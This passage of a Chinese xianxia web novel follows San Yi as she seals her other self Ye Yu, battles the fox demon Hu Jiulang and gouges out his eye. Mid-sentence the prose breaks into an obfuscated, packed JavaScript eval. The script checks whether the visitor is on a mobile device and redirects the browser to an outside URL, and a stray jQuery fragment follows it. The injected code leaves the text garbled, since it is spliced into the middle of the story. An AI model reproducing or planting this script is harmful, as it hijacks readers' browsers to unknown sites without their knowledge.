割完,他又强忍痛楚,从锦囊中掏出一粒药丸服下。
他举起手臂,让三一看着那道伤口以肉眼可见的速度恢复。
见水所为全然超出了三一理解的范畴,她惊疑不定,脑中响起一阵嗡鸣。
见水又从身上拿出一袋药粉,竭力稳住因疼痛而颤抖的手指,小心翼翼地敷上三一腰上被捅了个对穿的伤口。
那药粉敷上的一瞬间,拳头大小的伤口内便冒出一圈肉芽,密密匝匝地长出来,想要补齐中间的空洞。
他想要去触碰她的血肉,让药粉更快生效,又害怕她的痛楚加重,于是只能紧皱着眉头看着,哑声问道:
“痛吗?”
三一这才如梦初醒地劈手,夺去见水握着的还在滴血的匕首,不可置信道:“你疯了!?”
见水视若罔闻,周身环绕着一股说不出的执拗。
他脸色煞白,却仍笑着将锦囊递给她:“你将这个服下,也能帮你恢复伤口。”
三一忍无可忍地深吸一口气,移开视线。
狐九郎与临南战酣,耽搁的这会功夫,二人的身影与她的距离愈拉愈远。
叶玉受到妖气血气的影响,也挣扎着要从灵府中出来。
三一看着地上倒下的一个个修士,扑在他们身上大快朵颐的妖鬼,石乐环原因不明的死,石家人望向她时敌视的眼神,还有至今昏迷未醒的金枫卓一一在她脑海划过。
她当然没忘记阵灵先前所言,什么封妖大阵破封是好事。
只是满目所见皆为疮痍,叫她怎能认同?
胸膛中的暴虐与杀意几乎要将她的理智拆分入腹。
这种时候,情绪是最无用的东西。
三一冷下脸,调转法力,将毫不设防的叶玉一击封印进了灵府深处。
体内的血液冷下来,所有的繁杂情绪仿佛都随着叶玉被一并封存。
紧接着,她用符纸在见水的匕首上一点,粘上他的血气,又从自己的伤口上取血画符,将那符纸递到见水手中。
她恢复了血脉破封前惯常的古井无波,平静宣布:
“你不愿走便罢了,找个角落躲好。若你有生命危险,这符纸会将我传送过去。”
像一个智脑控制一个严丝合缝的精密仪器一样,理性重新控制住全身上下每一处关节、每一块肌肉,
久违的力量与秩序感升上来,情绪所带来的脆弱与失控荡然无存。
她似乎又重新变成了那个数年来封印妖兽、无往不利的道门天才。
见水觉察到什么,在三一转身离去前抓住她的手。
他喊道:“等等,叶玉你...”
三一抽手,像是拂去衣袖上的褶痕。
她淡声道:“我不是叶玉。”
“那你...”见水眸光闪动,眼前像是飞过一只冰蓝轻灵的蝴蝶。
然而当他再伸手去抓时,蝴蝶已经飞远了。
她原本站着的地方空空如也,话音消散在空气中:“我叫三一。”
--
狐九郎最擅长挑拨人心中最幽密的情绪,以此制造幻境。
他的血液中亦含有致幻的成分。
看着临南在他的刻意捉弄下,逐渐失去了最初的冷静,他勾出一个残忍的笑。
快了,就快了。
在临南再一次刺了个偏时,狐九郎摊手,向他的后心挖去——
锵然一声,三一的剑撞上了狐九郎的利爪。
狐九郎变了脸色,扭曲道:
“我的好侄女,你又回来了?刚刚被叔父挖出的洞可恢复了,叔父心疼得紧呢?”
三一给临南施了一个清心术,临南眼神却仍有些不清明,状态没有明显好转。
狐九郎吃吃地笑了,漂亮的九尾在身后摇曳着,捂嘴乐道:
“你该不会以为,这样就能解开我狐族的秘法?”
解不开便罢了。
三一见无法唤回临南,将铜钱剑横在身前,不止歇地向前攻去。
三一行道多年间,亦收过不少高级妖兽,其中也有几个多智近妖,称得上一方大妖,这些大妖往往在修炼过程中,会将自己的命门藏起来。
有个象妖将命门藏在脚底板,有个蛇妖藏在牙关,甚至还有个藏在龟壳内。
七步之内必有解药,不论多么难缠的妖鬼,他们的命门都能克制他们自己的咒术。
眼前的狐九郎如此惜命,他的命门只会更难以捉摸。
狐九郎眼神阴冷,嘴里的话却是一片温情脉脉:“叔父这些年一直挂念你呢,你在外面过得可好?若你愿意回家,我狐族一门随时欢迎。”
为了避免被动摇心神,三一干脆放空了思绪,不去思考狐九郎话中的含义。
耳边的絮语遥远起来,只有手中的符纸铜钱剑实实在在,她一刻不停的攻击,试探着狐九郎的命门。
狐九郎在三一密集的攻击下,回防得有些吃力。
饶是他心思缜密,不时将狐尾护在身后刻意引导,也不能完全瞒下身体的本能反应。
眼见落入下风,狐九郎眯起眼睛,不能这样下去了。
既然三一屏蔽了他的话,他便转而操纵起被幻境引到另一边的临南。
临南眼前全是狐九郎的分身,狐九郎不断地挑衅着,引得临南攻击,却让他一次次的落空。
忽然,他看到三一刺中了狐九郎的身体,狐九郎大叫一声,在三一剑下挣扎起来。
临南眼前的所有分身全部消失,是剩下受伤的狐九郎本体。
好机会,临南立即提起五雷符,往狐九郎身上拍去。
狐九郎看着临南对在环境的操控下,朝着三一攻去,勾出一个笑,连忙与三一拉开距离。
三一感受到身后传来的疾风,连忙支剑一挑躲开。
她发觉临南对着她穷追不舍,便知是狐九郎动了手脚,她又不能伤到临南,手上动作左支右绌。
看着坐山观虎斗的狐九郎,三一想起来刚刚狐九郎用的那招金蝉脱壳,有了主意。
她拔出铜钱剑上卡着的狐狸毛,甩出一张替身符,借力打力,将临南那张五雷符的目标重新换给了狐九郎。
狐九郎立即要故技重施,再次召出血雾替身,一时疏于再操纵临南的幻境。
三一脱身,暗道好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093161|195527||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
机会,挥剑砍向他的尾巴。
刚刚与狐九郎斗法时,狐九郎时不时会将它左边的第三根尾巴收在身后,似乎是避免她靠近。
若是寻常妖鬼,三一定会认定他的命门就在狐尾伤。
但以狐九郎善于揣度旁人的油滑心计,这般动作便显得有些刻意了。
见三一中计,狐九郎唇边勾出一个狡黠的笑。
他早有防备,利爪以一个人类不可能达到的角度反折,再次向她的面门掏来。
三一没有躲闪,她腾身暴起,手腕扭转,铜钱剑调转方向,在空中划出一个凌厉的弧度。
狐九郎有一双蛊惑人心的眼睛,明眸善睐,顾盼生姿,他颇引以为傲。
好几次明明有更好的进攻部位,他第一反应仍是挖人的眼珠。
这才是他藏在诱饵后的真正命门!
狐九郎见她动作,心知中计,不敢托大,却碍于血雾的功法正在发动,躲闪不及,只猛地偏开头。
三一生生吃了狐九郎一记爪击,所幸狐九郎因为下意识地闪躲,偏离了原本的轨迹,三一只有左手臂被他抓得骨折。
而在三一骨折的瞬间,狐九郎捂住眼,在剧痛之下,仰天发出一阵无比凄厉的啸叫。
因为他那一侧头,三一并没能一击即中,只剜下了他的右眼。
狐九郎捂住眼睛,血雾替身壳也没完全成形,被那一张五雷符劈了个正着,他上好的皮毛被布满焦黑,不住地哀鸣。
狐九郎的声音像是打开了一个特殊的开关,让全体妖鬼都在这一阵阵叫声中暴动起来。
狐九郎元气大伤,捂住被挖下的右眼,面上的血泪汩汩流出,他另一只完好的眼中已经密密地爬满了黑红的血丝,恨声道:
“我绝不会放过你。”
狐九郎的叫声传得很远,鬼王晚红听见后,立即咬下了围攻她的一个修士的头颅,吓得其余几人连连后退。
晚红趁机逃出包围圈,往三一这边飞过来。
三一趁狐九郎嚎叫时,强行正了骨,驱动法力施展生骨术。
骨头还未长好,便看见晚红带着滔天的煞气冲来,三一咬牙咽下痛楚,先将剑上的狐眼丢到了临南身上。
临南立即自幻境中清醒,在三一的传音下,警惕地避开狐九郎,对上赶来的红玉。
临南的五雷符对妖鬼都有效果,但相比妖兽,更克制厉鬼。
三一与临南默契地分开,各自专心应对起对面的妖鬼。
狐九郎被剜走了一半功力,又脸面尽失,神情中多出了些许癫狂,狞笑道:
“你真是和你那母亲一个样,真该让她看看,她生出来的好女儿。”
三一与他对峙,对他的一应话语全都视若罔闻,只沉心思量下一步的对策。
现下狐九郎也知道三一搞清楚了他的命门何在,势必会严防死守。
先前攻势密集,光是运转法器,三一体内的法力已然耗去一半。
她受伤在前,光靠见水的药粉还不够,她必须不停消耗法力,才能维持伤口不在牵拉中反复撕裂恶化。
一味强攻难以为继,三一要想想别的方法。